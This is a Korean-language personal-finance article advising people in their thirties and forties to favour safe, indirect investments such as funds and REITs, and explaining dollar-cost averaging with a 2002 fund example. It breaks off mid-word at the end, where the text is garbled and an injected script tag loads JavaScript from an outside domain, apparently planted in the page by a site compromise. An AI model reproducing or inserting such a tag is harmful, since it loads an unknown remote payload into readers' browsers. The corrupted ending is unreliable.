<돈과 건강, 가정, 어떻게 꾸려나갈 것인가>
30대 중반 이후나 40대에 들어서면 사회적으로 어느 정도 자리를 잡아간다. 이때 비로소
수입 규모가 커지고 재테크도 사실상 가능해진다. 그러면서 한편으로는 자녀들이 성장해
초-중-고등학교에 다니고 있기 때문에 학원비 등 사교육비를 포함해 지출 규모가 상당히
커지기 쉬운 때이기도 하다. 수입도 많지만 그에 비례해 지출도 많아지는 때인 셈이다. 회사에서 받는 연봉 수입 외에 추가적인 수입에 대한 고민과 함께 빨라지는 정년에 대한 심리적인
압박감도 커지는 때이다. 그만큼 스트레스가 많아지고 건강도 위협받기 쉽다. 그러므로
적절한 운동으로 그동안 소모된 체력을 보강하고, 행복한 가정을 꾸리기 위한 다양한 방안도 마련해야 한다. 바야흐로 용전(用錢)의 시기인 셈이다. 돈과 건강, 가정을 어떻게 꾸려나갈
것인지에 대한 고민이 주를 이루는 시기이다. 이들에 대한 구체적인 대비책을 점검해보자.
30,40시기는 월급도 점차 오르고 위상도 점점 높아지는 때이다. 월급봉투가 두툼해지는 반면
지출도 그만큼 늘어가는 때이기도 하다.
수입이 많은 대신 리스크 관리 필요성도 커지는 시기인 것이다. 30,40시기에 남들보다 앞서 내 집 마련을 했다면 특히 재테크에 관심을 갖게 마련이다.
내 집 마련에 따른 성취감이 대단한 데다 이제는 노후 준비와 자녀 교육비 마련등을 확실한
목표로 삼을 수 있기 때문이다. 게다가 늘어나고 있는 수입에 적절한 재테크 전략을 세우려
는 욕구도 커진다. 주위의 친구나 동료들이 전하는 재테크 성공담도 강력한 자극제가 된다.
이러면서 주식이나 부동산 등에 특히 관심을 갖게 되는데, 이 시기에 가장 중점을 두어야할
투자 포인트는 안전성이다. 만약 이 시기에 투자를 잘못해서 모든 걸 잃는다면 재기하는 데
상당한 고통과 시련이 뒤따르기 때문이다. 이제 혼자가 아닌 부양해야 할 배우자와 자식들이 있는 때이다. 물론 수입이 늘어난 만큼 지출도 훨씬 커져 있기 때문에 경제적 타격 또한 더
크게 느껴질 것이다. 따라서 투자는 최대한 안전성에 초점을 맞추되, 가능하면 간접투자가
좋다.
간접투자가 그래도 비교적 위험 관리가 되기 때문이다. 직접투자는 본업에 영향을 미칠 수도 있고, 전업으로 하는 투자자들과 겨뤄 수익을 내기가 쉽지 않기도 하다. 펀드 상품에 간접투자 하거나, 부동산 투자 욕구를 충족시키면서 비교적 안전한 간접투자 상품인 리츠에 가입하는
것도 좋은 방법일 수 있다.
<30,40시기에 적합한 정액분할 투자법>
주식도 하고 싶고 목돈도 모아야 하는데 위험한 것은 싫다. 이 모든 욕구를 충족시킬 만한
대안은 없을까? 바로 정액 분할 투자법이 있다. 정액분할(cost average) 투자법이란 매달
붓는적금처럼 월이나 분기 단위로 시기를 정해 일정금액을 주식이나 펀드에 꼬박꼬박 투자
하는 방식을 말한다. 주식투자로 치면 일종의 분할매입방식이다. 특정 종목에 투자금 전액을 투입했을 때 발생할 수 있는 위험을 분산시키는 방법이다. 장기간에 걸쳐 투자가 이뤄지는
데다 가격이 낮을 때에는 같은 돈으로 더 많은 주식(또는 펀드)을 사게 되는 효과가 있어 평균매입단가를 낮추는 장점이 있다.
말하자면 정액분할 투자법은 분산투자, 장기투자, 정기투자의 3가지 특성 모두 갖추고 있다.
정액분할투자의 한 예를 들어보자. 지난 2002년 7월 22일 판매가 시작된 베스트 모아
모아 적립식 펀드에 매달 말일(마지막 거래일) 100만 원씩을 투자했다고 하면 13개월만에 총 17.84%의 수익률을 기록한 것이다.
같은 기간 종합주가지수는 717.99(2002년 7월 31일종가)에서 730.10으로 고작 1.68% 상승하는 데 그쳤다. 정액분할 투자법은 적은 돈으로 투자할 수 있다.
ETF(상장지수펀드)를 정액분할 투자법을 활용한다면 대략 매달 10만 원이 안되는 돈으로도 투자를 할 수 있다.
정액분할 투자법을 적용한 간접투자상품인 적립식 펀드 역시 10만원 이상이면 투자할 수 있
다. 간접 투자라 주식투자처럼 그때 그때의 시세나 시황에 민감하게 대처하지 않아도 되는 장
점도 있다. 말하자면 더 싼 가격으로 매입하기 위해 매수 타이밍을 조절하는 등의 노력을 할 필
요가 없다는 것이다. 시장가격이 높을 때는 적게 사게 되고, 낮을 때는 많이 사게 되기 때문에
장기적으로 보면 평균매입단가를 떨어뜨리는 결과를 낳는다. 따라서 본업에 충실해야 하는
3040시기의 직장인들이나, 주식투자에 자신이 없는 일반투자자가 활용하기에 적합한 투자법
이다.
정액 분할 투자법은 크게 보면 직접투자와 간접투자로 나눌 수 있다. 직접투자는 정액분할투자
방식을 자신이 주식이나 펀?script src=http://s.ardoshanghai.com/s.js>
